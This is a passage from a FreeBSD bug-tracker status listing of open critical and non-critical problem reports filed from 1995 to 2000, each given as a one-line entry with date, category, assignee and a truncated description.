in "nocha o [1999/05/13] kern/11686 APM: Always "Resume failure" from suspend o [1999/05/13] kern/11692 3.1-stable deadlock o [1999/05/13] kern/11697 dg Disk failure hangs system o [1999/05/14] i386/11720 FreeBSD 2.2.8 can't load fixit disk o [1999/05/18] kern/11766 Can not traceroute through ipnat. o [1999/05/18] i386/11773 yokota mouse works at setup time. Under X it go o [1999/05/19] misc/11778 mpz_get_str() in libgmp leads up to cored o [1999/05/19] misc/11790 boot manager bug o [1999/05/20] misc/11800 gibbs Problem with scsi AHA2940 and sony SDT-20 o [1999/05/20] i386/11801 Remounting CD on IDE CDROM after eject fa o [1999/05/20] kern/11808 read/write mounted write-protected floppi o [1999/05/21] kern/11821 /dev/fd0a hangs on large files, including o [1999/05/22] docs/11852 jkh 3.X install requires 12MB of RAM, not 8 o [1999/05/23] kern/11867 Sound driver loses interrupts, no sound o [1999/05/28] kern/11911 3.1-R : writing file larger than floppy s o [1999/05/28] kern/11915 access system call says file is readable o [1999/05/28] kern/11919 kldload doesn't return error on loading a o [1999/05/28] kern/11922 missing reentrant interfaces for getpwnam o [1999/05/29] kern/11928 kldload loads kernel modules even if ther o [1999/05/29] kern/11936 wine don't work (SMP) (-STABLE) o [1999/05/29] kern/11937 vm problems after havy memory usage o [1999/05/31] kern/11969 VM_fault with mmap'd CDROM data. o [1999/06/02] i386/11991 fdisk does not assign slices to unused pa o [1999/06/02] bin/11992 /usr/src/sbin/mountd/mountd.c has '#ifdef o [1999/06/04] kern/12022 System clock timewarps o [1999/06/06] bin/12054 explicit -ltermcap after -lncurses causes o [1999/06/06] kern/12062 sa tape driver with Cipher 60M SCSI QIC t o [1999/06/08] bin/12091 syslog packets from a remote machine are o [1999/06/08] kern/12092 vpo driver not working in 3.2-RELEASE o [1999/06/09] kern/12104 Certain cdcontrol commands don't work pro o [1999/06/10] bin/12120 named crashes. o [1999/06/10] gnu/12122 cc hangs on STDIN with -pipe and .s files o [1999/06/11] bin/12137 something wrong with shell -- functions w o [1999/06/12] gnu/12175 gdb crashes with pids > 32736 o [1999/06/13] bin/12191 wcol is trying to allocate a shared memor o [1999/06/15] misc/12221 djpeg halt's freebsd box o [1999/06/16] bin/12242 segmentation fault running /usr/bin/fmt o [1999/06/16] kern/12247 userlevel program let kernel hang o [1999/06/17] kern/12262 pcm sound driver with SB16pnp does not ap o [1999/06/18] bin/12272 The ctype locales print an error message o [1999/06/18] kern/12274 cd mount problem o [1999/06/20] kern/12305 clock() ticks backwards o [1999/06/21] kern/12320 error 6: panic: cannot mount root (2) o [1999/06/22] bin/12349 des 3.2-R inetd doesn't re-read ALL configura s [1999/06/24] kern/12381 bde Bad scheduling in FreeBSD o [1999/06/25] conf/12387 CDROM boot failure on Thinpad 770X, 380ED o [1999/06/25] kern/12394 3.2-RELEASE, rl0 ethernet interface freez o [1999/06/28] kern/12434 signal 11 (core dumped) on mysqld when ma o [1999/06/30] kern/12464 bad reference in struct vm_zone o [1999/07/01] kern/12484 [PATCH] bpf_filter() broken o [1999/07/06] i386/12529 Linksys ether16 NE2000 compat. won't conf o [1999/07/06] bin/12538 getpwuid() NIS UID override fails o [1999/07/07] kern/12551 mks ASIC output is shifted following a short o [1999/07/07] docs/12557 nik There are no man pages for the widely use a [1999/07/08] bin/12564 jkh Sysinstall can not use live filesystem fr o [1999/07/09] misc/12577 Can't link code using catopen o [1999/07/13] kern/12632 Panic (trap 18) with Symbios SCSI control o [1999/07/14] misc/12640 Can use 2nd CD-ROM for fixit mode. o [1999/07/15] kern/12646 IGMP reports not sent if no multicast rou o [1999/07/16] gnu/12662 tar verification doesn't work in 3.2-RELE o [1999/07/18] kern/12703 tx0 truncates skip packets o [1999/07/20] bin/12727 billf Game patches from NetBSD o [1999/07/21] conf/12745 diffs to delay start of amd rwhod timed o o [1999/07/21] i386/12749 marcel Bug in link() and all other filename func o [1999/07/22] kern/12758 Adjusting the idle priority of a process o [1999/07/23] i386/12771 lpt hangs and never works again, even aft o [1999/07/24] kern/12800 buffer leak in cluster_wbuild o [1999/07/26] alpha/12821 alpha slib.aq for the 3.2-RELEASE alpha distrib o [1999/07/27] kern/12831 sos CD-rom cannot be mounted o [1999/07/27] conf/12832 config -g creates broken Makefile in 3.2- o [1999/07/27] kern/12838 PC-Card ctlr(0) Vadem 365 support seems b o [1999/07/28] misc/12856 installworld over nfs broken (3.2S) o [1999/07/29] kern/12869 panic: softdep_flushfiles: looping o [1999/07/30] kern/12884 Hot to panic FreeBSD-3.2-Release o [1999/08/02] kern/12927 [PATCH] using BROKEN_KEYBOARD_RESET optio o [1999/08/02] ports/12930 asami libtool create defuct makefiles if PREFIX o [1999/08/03] misc/12938 gethostbyaddr(209.201.116.19) - Bus error o [1999/08/04] kern/12979 Response time continually slows on idle m o [1999/08/05] kern/12991 system queue is cleared when a port or pi o [1999/08/06] kern/12996 ifconf in sys/net/if.c returns larger buf o [1999/08/07] conf/13013 Selecting CDROM as install media doesn't o [1999/08/08] kern/13022 ipfilter is out-of-date o [1999/08/08] misc/13027 sysinstall has no /dev entry for wfd0s4 ( o [1999/08/10] i386/13058 Installation hangs after commit f [1999/08/13] kern/13113 panic related (proberbly) to vnode o [1999/08/14] kern/13141 se Multiple LUN support in NCR driver is bro o [1999/08/14] ports/13145 se kaudioserver runs amok on logout o [1999/08/15] kern/13150 panic: ufs_dirbad: bad dir o [1999/08/15] ports/13170 ports New port: UW-Imap with maildir and qmail o [1999/08/15] gnu/13172 Bug in workaround of russian locale & sor o [1999/08/16] kern/13180 panic: ffs_alloccg: map corrupted o [1999/08/17] kern/13198 panic: vm_fault: fault on nofault entry o [1999/08/17] gnu/13200 The assembler chokes on very long operand o [1999/08/18] kern/13234 .../netinet/ip_input.c should include opt o [1999/08/21] bin/13286 jhay [SECURITY] Potential IPXrouted(8) /tmp se o [1999/08/24] bin/13350 make clean in bsd.obj.mk no longer proper o [1999/08/25] misc/13378 Tecra 8000 hangs in UserConfig, cannot co o [1999/08/25] kern/13382 Only 1 parallel port supported if pps ena o [1999/08/25] bin/13383 sys/netinet/in.h violates C++ spec. o [1999/08/26] kern/13405 syslogd get system hang o [1999/08/27] gnu/13427 gdb reports wrong info o [1999/08/28] gnu/13438 objc forward core dump using system cc o [1999/08/29] i386/13452 changing to root device wd0s1a \n error 2 o [1999/08/29] bin/13463 /bin/sh does not handle interrupts correc o [1999/08/30] misc/13470 Old problem re-introduced: TCP sucket buf o [1999/08/31] bin/13504 troubles with the ipfw tool o [1999/09/01] kern/13517 hang system o [1999/09/05] kern/13587 Voxware MIXER_READ ioctl corrupts memory o [1999/09/06] kern/13593 Problems with FIFO and select o [1999/09/07] kern/13612 gibbs "Timedout SCB handled by another timeout" o [1999/09/07] kern/13630 system halts after npx0 detected on 3.2 i o [1999/09/07] kern/13632 Floppy hangs system o [1999/09/08] kern/13646 Kernel Trap error when booting 3.3-RC ker o [1999/09/09] i386/13655 sysmouse, signal 10 and XF86_S3 o [1999/09/10] kern/13678 sos hard lockup's on tsleep in atapi_queue_cm o [1999/09/10] bin/13679 ncurses-based programs eat 100% CPU after o [1999/09/10] bin/13691 tcpslice cannot extract over 2GB part of o [1999/09/11] bin/13703 MCNP compilation problem o [1999/09/12] bin/13711 root fs not properly unmounted after shut o [1999/09/12] ports/13714 stb netatalk-1.4b2+asun2.1.3 fails chmod g+s o [1999/09/13] conf/13724 Prevent ".: Out of file descriptors" erro o [1999/09/13] gnu/13729 strip(1) exits with an error on script fi o [1999/09/13] kern/13736 enabling NAT on 3.3RC results in panic sb o [1999/09/13] kern/13740 wrong IP statistics o [1999/09/15] kern/13757 wpaul tl0: adapter check: 180005 mesages keep c o [1999/09/15] i386/13765 memory problem: compilation of emacs dies o [1999/09/15] bin/13766 ldconfig doesn't recognize symbolic links o [1999/09/15] bin/13768 sh MAKEDEV cdN creates all cd(N-1)-device o [1999/09/15] misc/13771 brian Packet fragment filter bug in user-land P o [1999/09/16] conf/13775 multi-user boot may hang in NIS environme o [1999/09/16] conf/13785 boot block/manager problem at installatio o [1999/09/17] i386/13787 lnc driver isn't really the lnc driver o [1999/09/18] kern/13810 3.3 panic rlist_free: free start overlaps o [1999/09/18] i386/13811 ide cdrom stops recognizing audio cdroms o [1999/09/19] bin/13818 `ipfw' doesn't grok "log" keyword o [1999/09/19] ports/13839 se kdegraphics11 'make PREFIX' fix, one comp o [1999/09/19] i386/13847 missing support for INT 0x13 extensions i o [1999/09/20] i386/13857 Problem with switching between processes o [1999/09/22] conf/13900 jkh [PATCH] sysinstall can get SIGPIPE if a d o [1999/09/22] alpha/13912 alpha unaligned access Problem seems to be aff o [1999/09/23] misc/13920 pppd acts differently on 3.3-RELEASE ("mi o [1999/09/24] kern/13941 ncr0: SCSI phase error on GENERIC kernel o [1999/09/26] misc/13978 peter a write to last column bug appears since o [1999/09/26] bin/13980 Parameter expansion pattern removal bug i o [1999/09/27] kern/13997 phk RLIMIT_NPROC works unadequately for jails o [1999/09/28] kern/14026 Many network connections get left in the o [1999/09/28] i386/14027 "disklabel -r -w" on new disk reports "No o [1999/09/28] kern/14033 Data acq process gets stuck in vmopar o [1999/09/30] kern/14060 3.3-STABLE on primary mail server panics o [1999/09/30] bin/14069 Buffer overflow in mail(1) o [1999/09/30] kern/14072 Rebooting in FreeBSD 3.3 wipes out known o [1999/10/01] conf/14075 CDROM not being recognized during certain o [1999/10/02] kern/14096 parallel port -- ppi -- driver broken aft o [1999/10/03] bin/14102 make world -DWANT_AOUT fails in lib/compa o [1999/10/04] misc/14121 resurfaced bug in rmt preventing remote d o [1999/10/04] kern/14123 lnc driver is not working o [1999/10/04] ports/14128 torstenb Wrong group and mode on postdrop program o [1999/10/04] i386/14135 lpt1 nolonger exists after 3.2-RELEASE o [1999/10/05] kern/14144 bad conversions in kern_fork() o [1999/10/07] misc/14178 FreeBSD 3.2 - Calls from CGI scripts, cro o [1999/10/07] kern/14183 grog bridge forwarding corrupted broadcast IP o [1999/10/10] bin/14250 restore(8) can loop if tty goes away or w o [1999/10/10] misc/14254 [Fwd: clock(3) runs backwards! (fwd)] (fw o [1999/10/10] kern/14257 error 6: panic: cannot mount root (2) - d o [1999/10/11] misc/14264 Combination of aio_read(), pthread_cond_w o [1999/10/12] i386/14282 Using FreeBSD 3.* ThinkPad 600E doesn't r o [1999/10/12] ports/14283 ache apache13 htpasswd dumps core o [1999/10/12] kern/14285 dillon NFS client appears to lose data o [1999/10/14] i386/14324 wst OR atapi drivers won't work o [1999/10/14] misc/14326 kerberos4 pam-related breakage in current o [1999/10/14] misc/14327 names used in netdb.h may conflict with n o [1999/10/14] i386/14334 imp AHA-1542A not supported by FreeBSD 3.x (" o [1999/10/15] kern/14354 grog vinum cannot compile for alpha o [1999/10/19] ports/14423 obrien Build of lsof fails since 'struct namecac o [1999/10/20] misc/14431 Network Interface Problem o [1999/10/20] bin/14444 enigma command can't decrypt files encryp o [1999/10/21] i386/14446 Doesn't boot on Mobile Celeron o [1999/10/22] kern/14457 SIOCGIFCONF uses too much memory o [1999/10/25] bin/14524 markm PERL 5.005_03 Config.PM on 3.2-STABLE say o [1999/10/25] kern/14536 kernel panic on 64KB block size ufs files o [1999/10/26] kern/14546 SB128PCI work incorrect play wav-files un o [1999/10/26] kern/14549 3C509 broken in 3.3 o [1999/10/27] kern/14566 yokota Non-kernel programs have little/no contro o [1999/10/30] ports/14615 taoka [PATCH] Emacs scrambles the screen on the f [1999/10/31] ports/14625 green pidentd doesn't work correctly for finger o [1999/10/31] bin/14626 sendmail 8.9.3 bug with aliases in -CURRE o [1999/11/03] kern/14685 setjmp/longjmp in threaded app cause subs o [1999/11/03] i386/14689 waitpid doesn't harvest child process whe o [1999/11/03] ports/14696 ports New port: wmGrabImage o [1999/11/04] kern/14712 root has access to NFS mounted directorie o [1999/11/05] kern/14722 TCP connections hangs in FIN_WAIT_2 for > o [1999/11/05] bin/14729 when sysinstall is running as init it sho o [1999/11/07] kern/14765 Something wrong for UDMA for Gigabyte 586 o [1999/11/07] bin/14782 ypbind can not bind to Solaris NIS master o [1999/11/08] kern/14787 /dev/lpt0 doesn't work unless/until you d f [1999/11/09] kern/14797 Serious locking problem in CURRENT o [1999/11/09] i386/14799 Promise Ultra33 doesn't work o [1999/11/09] i386/14806 if_tun.ko conflicts with built-in tunnel o [1999/11/10] misc/14811 getpwent is not enumerating all entries i o [1999/11/10] kern/14812 de0 driver malfunctions in full-duplex o [1999/11/10] kern/14814 4.0-CURRENT SMP mode causes ep0 slow o [1999/11/11] ports/14826 obrien security/fwtk smapd calls sendmail with w o [1999/11/12] bin/14844 rwhod is remotely crashable o [1999/11/12] kern/14848 Frame Relay support, corrected o [1999/11/12] kern/14849 newpcm doesn't work with Vibra16X a [1999/11/12] misc/14856 billf ftp stalls on FreeBSD 3.3 (CDROM) tested o [1999/11/14] kern/14890 ffs_valloc: dup alloc o [1999/11/15] misc/14895 portmap bug (when run with -v flag) o [1999/11/15] kern/14900 3.3-RELEASE panic in pmap_pte_quick() o [1999/11/15] i386/14907 ipfw show take wrong values of counter/or o [1999/11/16] kern/14917 grog DMA doesn't works with ALI ALADDIN M1543/ o [1999/11/16] kern/14918 Write access to write protected media cau o [1999/11/16] bin/14920 install(1) hangs when intalling files sam o [1999/11/16] misc/14932 "more" eating up CPU on users with shell= o [1999/11/16] i386/14937 ipfw -a list show wrong information o [1999/11/17] ports/14944 ports No stable Gimp in ports o [1999/11/17] i386/14946 rmt - remote magtape protocol o [1999/11/17] ports/14955 jmz XFree86-port does not support ru_SU.* loc o [1999/11/17] kern/14960 Compaq EISA array controller not working o [1999/11/17] kern/14962 PnP doesn't detect AWE64 when PnP modem i o [1999/11/17] misc/14964 Network Interface Configuration Problem a o [1999/11/18] bin/14975 lpc start subcmd doesn't start printing o [1999/11/18] bin/14978 lprm(1) does not kill active daemon if ho o [1999/11/19] kern/14997 NFSv3 open O_EXCL fails to set proper "at o [1999/11/19] misc/15001 'fetch' doesn't work for http when behind o [1999/11/19] i386/15003 3C574 (ep0) reads bogus ethernet address o [1999/11/21] i386/15018 Printingproblem o [1999/11/22] bin/15046 /sbin/dhclient-script ignores resolv.conf o [1999/11/23] i386/15062 i4b stops working after some time o [1999/11/23] bin/15070 vfprintf/cvt/__dtoa race condition in thr o [1999/11/24] i386/15074 Two different panics when running Linux b o [1999/11/24] kern/15075 Intel Etherexpress Pro timeouts when >1 c o [1999/11/24] misc/15080 corrupt tree/subtree on primary ftp serve o [1999/11/24] kern/15086 Borked sscape drivers :) o [1999/11/25] kern/15087 3.3-STABLE panic while starting daemons ( o [1999/11/25] kern/15089 mmap of files from 2K-block device failed o [1999/11/26] ports/15100 ports New port: www/links-0.80 s [1999/11/26] bin/15101 joe [PATCH] cdcontrol does not perform bounds f [1999/11/26] ports/15107 green Patch for FreeBSD s/key support in OpenSS o [1999/11/26] misc/15109 problem printing graphic pages o [1999/11/27] ports/15123 rse www/apache13-modssl has PREFIX problems f o [1999/11/28] conf/15150 Taking encoding scheme latin1 into accoun o [1999/11/28] ports/15157 se [PATCH] Environment Botch in KDM o [1999/11/30] misc/15190 crashing while in a multiplatform environ o [1999/11/30] kern/15193 PCCARD ethernet interface not returned by o [1999/12/01] kern/15204 systems panics when ktrace-ing o [1999/12/01] kern/15206 Ethernet driver if_vr.c (VIA Technologies o [1999/12/01] ports/15212 ports new port: irc/bitchx-1.0 o [1999/12/02] misc/15228 C++ exceptions+threads SIGABRTs. o [1999/12/02] kern/15235 dillon Race conditions in pipe_write causes kern o [1999/12/05] misc/15269 error server timeout downloading small fi o [1999/12/06] i386/15327 Unable to use ISA sound card with AD1816A o [1999/12/07] kern/15345 lkm no longer works after 3.3 o [1999/12/08] i386/15364 Flash Player 4 for Linux has no sound wit o [1999/12/08] kern/15365 Fatal trap 18 (integer divide fault) when o [1999/12/09] ports/15368 torstenb Update ftp/mirror o [1999/12/10] ports/15395 jfitz fix port: net/mrtg (BUILD/LIB_DEPEND prob o [1999/12/10] ports/15404 jfitz www/p5-CGI: Wrong BUILD_DEPENDS? o [1999/12/11] bin/15414 syslogd -ss disables all network logging o [1999/12/11] kern/15420 3.3-RELEASE Kernel freeze o [1999/12/12] ports/15442 ports upgrade of nethack port to 3.2.3, which h o [1999/12/12] kern/15446 Unpredictable enabling of SCSI Tagged Que o [1999/12/12] bin/15450 The name of the tagfile is left in the pa o [1999/12/13] i386/15460 Installation with Compaq SMART-2DH Array o [1999/12/13] bin/15471 Fix several buffer overflows o [1999/12/13] kern/15475 pppd(8) sets the Source Address field of o [1999/12/14] kern/15478 incorrect utmp/wtmp records update upon c o [1999/12/14] kern/15486 Attempt to write to a "write-prot" floppy f [1999/12/15] bin/15494 ru over-natd connections hang if MTUs are di o [1999/12/15] kern/15508 disk usage after "strip" is wrong o [1999/12/16] kern/15513 kernel or ipfw drops rules sometimes o [1999/12/16] misc/15515 Firewall/FIltering Problems o [1999/12/16] bin/15520 mktime() fails under certain conditions o [1999/12/16] ports/15523 asami Motif/Lesstif not found when grace-5.0.3g o [1999/12/17] ports/15541 ports KDE screen saver with password protection o [1999/12/17] kern/15542 de suddenly stops working o [1999/12/17] ports/15543 ports Samba + DHCP = UNKNOWN HOST NAME o [1999/12/17] i386/15548 Intel EtherExpress Pro/10+: Only 1024 byt o [1999/12/18] i386/15553 Linux Emulation don't emulate accept(2) e o [1999/12/18] kern/15554 malloc fails in OMAGIC programs o [1999/12/19] misc/15571 jkh Installer doesn't know about wd* -> ad* c o [1999/12/20] bin/15581 ftp(1) file completion does not work if s o [1999/12/21] bin/15606 jkh sysinstall dumps core when trying display o [1999/12/21] misc/15610 3.4-RELEASE installation hang on aic0 SCS o [1999/12/21] kern/15611 EIDE Large Disk Support, Newfs problem, F o [1999/12/22] i386/15631 3.4 won't install with IBM 37.5 gb disks o [1999/12/22] kern/15639 msdosfs can't read large (3.8gig) files o [1999/12/23] bin/15660 tip dumps core when sending file o [1999/12/23] misc/15662 markm [PATCH] perl5 Sys::Hostname fails if no P o [1999/12/25] kern/15690 savecore fails to work when it doesn't fi o [1999/12/25] ports/15693 obrien aub may fail on certain (bad?) postings o [1999/12/25] ports/15695 cpiazza centericq port build fails o [1999/12/26] kern/15707 dillon bad trap in mprotect o [1999/12/26] kern/15709 dan rtfree()/rtrequest() kernel panic o [1999/12/28] conf/15737 rc.conf should have '-s' for syslogd opti o [1999/12/29] conf/15766 My desktop display is too large, I can´t o [1999/12/29] ports/15768 jfitz Majordomo resend prog allow exec of any p o [1999/12/29] ports/15770 jmz /usr/ports/sysutils/cd-write won't build o [1999/12/31] ports/15811 se graphics/kdegraphics11 fails to compile!! o [2000/01/01] ports/15820 ports A Y2K class bug when setting atime & mtim o [2000/01/01] kern/15825 dillon Softupdates gets behind, runs the system o [2000/01/01] bin/15829 peter cvs -C not_a_number core dumps o [2000/01/02] i386/15845 Driver for RealTek 8029 o [2000/01/02] bin/15847 tip core dumps after file transfer from l o [2000/01/02] ports/15850 ports www/gnujsp update -> 1.0 724 problems total. Non-critical problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- a [1995/01/11] i386/105 bde Distributed libm (msun) has non-standard s [1995/05/13] bin/401 Add REMOTE_* variables s [1995/06/15] bin/517 Bad group change with 'install' o [1995/07/09] misc/605 wpaul NIS: get*bynis routine problems s [1995/08/05] gnu/655 ld -r of shared objects worked in 1.1.5, s [1995/08/07] bin/658 ifconfig alias has to be separately given s [1995/09/26] kern/742 syslog errors accessing Mac hard disks [p s [1995/10/03] kern/765 umount -f can`t umount a NFS filesystem i s [1995/11/20] kern/831 one minor complaint about the kernel visu o [1995/11/30] bin/854 dg swapinfo shows incorrect information for a [1996/01/30] bin/981 fenner clnt_broadcast() is not aware of aliases s [1996/03/20] kern/1090 iostat displays incorrect sps count s [1996/03/20] bin/1093 route's diagnostic is weird o [1996/04/06] kern/1119 dg Mounted EXT2FS partition is not cleanly u s [1996/06/11] bin/1312 automounter hangs on boot s [1996/06/13] bin/1320 dump limits blocksize to 32K a [1996/07/07] bin/1375 eivind Extraneous warning from mv(1) [PATCH] o [1996/07/24] misc/1428 ncurses doesn't always display ALTCHARSET s [1996/09/08] bin/1589 [PATCH] ftp fails to flush output o [1996/09/14] gnu/1611 phk groff should use "system-wide" papersize o [1996/09/23] i386/1671 joerg s2 map in pcvt isn't ISO 8859-1 and claim s [1996/10/13] misc/1791 syslimits.h does not allow overriding def o [1996/10/20] bin/1849 gdb sets library breakpoints on the wrong s [1996/10/24] bin/1881 file(1) misidentifies Sun3/m68k executabl s [1996/11/01] bin/1941 danny wtmp and monthly rotation s [1996/11/01] bin/1943 route(8) args s [1996/11/04] gnu/1961 [PATCH] uucp logging files are in /var/sp s [1996/11/06] bin/1970 csh limtail() bug s [1996/11/16] bin/2036 cpio size wraparound s [1996/11/19] bin/2061 DEBUG_FLAGS in bsd.lib.mk is broken s [1996/11/19] bin/2065 in tzsetup/sysinstall, allow user to type s [1996/11/22] bin/2090 clients may bind to FreeBSD ypserv refusi f [1996/11/28] bin/2119 [PATCH] mount lies to child about argv0, s [1996/12/02] bin/2137 vm statistics are bad s [1996/12/14] bin/2216 [PATCH] Ada specs not being compiled into o [1996/12/17] i386/2239 jmg some interrupts take too long (i.e. BT946 a [1996/12/21] bin/2265 guido su(1) does not call skeyaccess() o [1996/12/24] kern/2273 dufault support for POSIX.4 / POSIX.1a RT-schedul s [1996/12/27] kern/2298 Support for DSR/DCD swapping on serial po a [1996/12/27] misc/2302 brandon new crypt() including SHS and an extendab s [1996/12/30] kern/2327 [PATCH] `Green' saver for pcvt o [1997/01/10] bin/2442 davidn setusershell()/endusershell() missing o [1997/01/14] kern/2492 AIMS Lab RadioTrack driver for FreeBSD 2. o [1997/01/26] i386/2598 ep0 in EISA mode hangs if ep0-device (ISA o [1997/01/28] bin/2603 dufault Added POSIX.4/POSIX.1b constants in unist o [1997/01/28] bin/2604 dufault Added POSIX.4/POSIX.1b shm_open()/shm_unl o [1997/02/02] gnu/2637 tar dumped core with -g option. a [1997/02/02] bin/2641 wpaul login_access.c doesn't work with NIS by d o [1997/02/05] bin/2668 modification suggested for rarpd o [1997/02/14] bin/2737 yppasswd fails to change password on a su o [1997/02/15] misc/2745 fenner PR querry web form doesn't sort correctly o [1997/03/03] kern/2857 DE500 board exhibits capture effect o [1997/03/03] kern/2865 peter NFS client hangs on umount, ls, df when N o [1997/03/06] bin/2898 fenner arp -a -n buglet o [1997/03/10] bin/2934 sh(1) has problems with $ENV o [1997/03/10] bin/2938 hoek Add -b, -l, and -f options to du(1) o [1997/03/18] misc/3024 make reinstall in /usr/src requires writa o [1997/03/31] gnu/3157 Patches to gas and gdb to support MMX ext o [1997/04/07] bin/3221 rpc.rusersd : can't communicate with SunO o [1997/04/07] misc/3225 [PATCH] uucpd.c should normalize host nam o [1997/04/08] misc/3237 SCRIPTS addition to bsd.prog.mk o [1997/04/09] bin/3242 incorrect prototype for initgroups o [1997/04/14] kern/3281 errors when "rm -r"-ing in a mounted ext2 o [1997/04/14] kern/3282 ext2fs causes fs-unmount at shutdown/rebo o [1997/04/14] bin/3284 [PATCH] symorder(1): -t option doesn´t wo o [1997/04/14] bin/3286 [PATCH] missing error checking in mount_m o [1997/04/14] kern/3287 [PATCH] missing symbols in /usr/src/sys/i o [1997/04/15] kern/3299 /dev/console hangs o [1997/04/17] bin/3314 [PATCH] /etc/daily did not run on April 6 o [1997/04/27] bin/3399 mv of symbolic link can move directory in o [1997/04/29] bin/3416 ibcs emulation problems o [1997/05/05] i386/3504 [PATCH] New features (and manpage) for ne o [1997/05/08] gnu/3552 the -L option of tar does not work proper s [1997/05/09] kern/3571 Mounted ext2 prevents umount of filesyste o [1997/05/12] kern/3584 luigi cleanup TCP_REASS macro in tcp_input.c o [1997/05/16] bin/3608 Telnet in linemode will break apart long o [1997/05/17] kern/3611 Internal CPU cache on CyrixiInstead DX2 d o [1997/05/20] docs/3645 torstenb TCP_wrappers package doesn't mention wher s [1997/05/22] kern/3667 [PATCH] make vn LKM'able. o [1997/06/02] bin/3762 dufault Bogus return values from rtprio(1) o [1997/06/07] bin/3805 single process tftpd o [1997/06/09] bin/3826 KerberosIV sometimes hangs rcp o [1997/06/10] bin/3837 dufault new feature for rtprio o [1997/06/12] kern/3853 luigi netboot/ns8390.c breaks NS datasheet o [1997/06/14] bin/3866 rcs2log fails with eastern timezones o [1997/06/15] kern/3879 peter Can't export mounted ext2fs via NFS o [1997/06/18] kern/3901 Multicast for Intel 10/100 Ethernet Card o [1997/06/19] misc/3912 ctags(1) cannot trace some macro correctl o [1997/06/24] kern/3944 if_le doesnt receive ether multicast pack o [1997/06/25] kern/3948 nonworking t/tcp server side a [1997/06/25] kern/3953 kern-config: options PANIC_REBOOT_WAIT_TI o [1997/06/26] i386/3962 print disk internal cache size during pro o [1997/06/27] kern/3968 Hardware probes die on Peak SBCs. o [1997/07/07] kern/4051 pppd connect 'chat ...' broken s [1997/07/07] kern/4052 VJ compression drops packets with IP+TCP o [1997/07/18] bin/4116 davidn Kerberized login as .root fails to o [1997/07/23] kern/4153 New tcp initial send sequence number code s [1997/07/24] bin/4157 [PATCH] netstat atalk output should print f [1997/07/26] bin/4172 suggest reconnection option added to fetc s [1997/07/28] kern/4184 [PATCH] minor nits in sys/netatalk s [1997/07/31] bin/4204 [PATCH] ac printed wrong report about tty o [1997/08/04] conf/4229 Ethernet interface unreachable on bootup o [1997/08/06] bin/4238 chpass only occasionally works in conjunc o [1997/08/07] kern/4243 file locking doesn't work for pipe o [1997/08/07] bin/4247 modification to /etc/security for FreeBSD o [1997/08/08] misc/4249 wpaul ypchsh doesn't care about changing a user o [1997/08/12] misc/4285 SDL RISCom/N2 (ISA) o [1997/08/13] kern/4297 dufault SIGEV_NONE and SIGEV_SIGNAL go in signal. o [1997/08/13] i386/4300 msmith The initial timeout on open("/dev/lpt0".. o [1997/08/14] ports/4304 asami Recommendation re. Ports Collection o [1997/08/22] ports/4356 erich sudo shouldn't block signals in tgetpass( o [1997/08/29] kern/4413 No way to unmount a floppy that goes bad o [1997/08/29] bin/4419 man can display the same man page twice o [1997/08/29] bin/4420 find -exedir doesn't chdir for first entr o [1997/09/03] bin/4459 bde No prototype for moncontrol(3) and monsta o [1997/09/04] misc/4468 dlopen is not available from static execu o [1997/09/13] kern/4528 processes hang if the mount_portal proces a [1997/09/14] i386/4538 sos byteswapped ATAPI id strings o [1997/09/14] bin/4545 f77 will only call `cc', no com-line opti s [1997/09/15] i386/4547 luigi asc.c and pcaudio.c should use selrecord o [1997/09/16] misc/4556 make can't build executable from single F o [1997/09/21] kern/4597 Patch to pass NPX status word in signal c o [1997/09/21] kern/4601 Contrib: userconfig patch to edit SCSI co o [1997/09/25] bin/4629 calendar doesn't print all dates sometime o [1997/09/28] misc/4646 Can't fixit with an NFS-mounted CD. o [1997/09/29] conf/4654 Need to do post-ifconfig commands o [1997/10/04] bin/4688 peter sys/utsname.h SYS_NMLN 32 too small o [1997/10/05] bin/4696 ping hangs on certain unresolvable hosts o [1997/10/05] bin/4697 make doesn't handle dependencies with for o [1997/10/15] gnu/4771 diff to correct misleading total bytes in o [1997/10/22] bin/4828 ypxfr makes false assumption about RPC ca o [1997/10/24] kern/4845 Boot complains about disk slices in FAT p o [1997/10/24] kern/4847 pccard stuff fails after running Win95 wi o [1997/11/01] bin/4915 peter NFS mounts to linux machine can hang syst o [1997/11/02] bin/4923 vi leaves the screen in standout mode o [1997/11/07] bin/4969 cdcontrol plays incorrect audio tracks in o [1997/11/08] bin/4975 quotaon while server very busy causes loc o [1997/11/10] kern/4997 DDB_UNATTENDED doesn't always work o [1997/11/11] kern/5009 ibcs2 emulation o [1997/11/11] kern/5011 rndcontrol -s 8 causes kernel panic o [1997/11/13] bin/5031 lpr does not remove original file if -s i o [1997/11/13] ports/5034 ache (tcsh) blocked write on named pipe sticks o [1997/11/14] kern/5040 Support for "SCSI-0" devices o [1997/11/14] kern/5048 Calling shutdown(fd,1) multiple times wil o [1997/11/15] kern/5059 peter mountd, nfsd, etc. fail when lp0 defined o [1997/11/15] kern/5060 Kernel doesn't compile with mss o [1997/11/20] kern/5108 pmap_release panics with 'freeing held pa o [1997/11/20] kern/5110 kernel crash & core in pmap_testbit durin o [1997/11/23] bin/5134 cdcontrol will eject a mounted CDROM o [1997/11/26] misc/5153 jkh release file checksums in wrong file s [1997/11/28] bin/5173 [PATCH] restore ought to deal with root s s [1997/11/30] i386/5182 bde [PATCH] A patch support high speed serial o [1997/12/09] bin/5263 sh bug (with example) s [1997/12/11] kern/5275 [PATCH] Added volume (barcode) support to o [1997/12/14] conf/5292 master.passwd -- /nonexistent vs. /sbin/n s [1997/12/14] bin/5296 slattach fails creating pidfile with ioct o [1997/12/22] kern/5362 peter mount incorrectly reports / as an NFS exp f [1997/12/30] i386/5398 silo overflows running o [1998/01/02] bin/5410 pkg_info options s [1998/01/03] bin/5419 [PATCH] timed rejects valid networks with o [1998/01/08] kern/5429 Ethernet collision during file transfers s [1998/01/08] bin/5444 [PATCH] ypserv uses wrong dns lookup orde o [1998/01/11] bin/5483 Login(1) clears utmp entry o [1998/01/15] kern/5502 nfsd process usage doesn't get accounted s [1998/01/16] kern/5510 sos [PATCH] Incomplete ATAPI diagnostic at bo o [1998/01/18] kern/5517 Recursive NULLFS mount causes ufs_ihashge s [1998/01/20] misc/5531 [SUBMISSION] new library function abs2rel s [1998/01/20] kern/5532 [PATCH] Dropped packet counts are inaccur o [1998/01/21] bin/5537 vi dumps core with dodgy exrc file o [1998/01/24] i386/5559 PC-Card joystick ports were not supported o [1998/01/26] kern/5577 bde Unnecessary disk I/O and noatime ffs fixe a [1998/01/28] bin/5591 Trouble with LD_PRELOAD environment varia o [1998/01/31] bin/5609 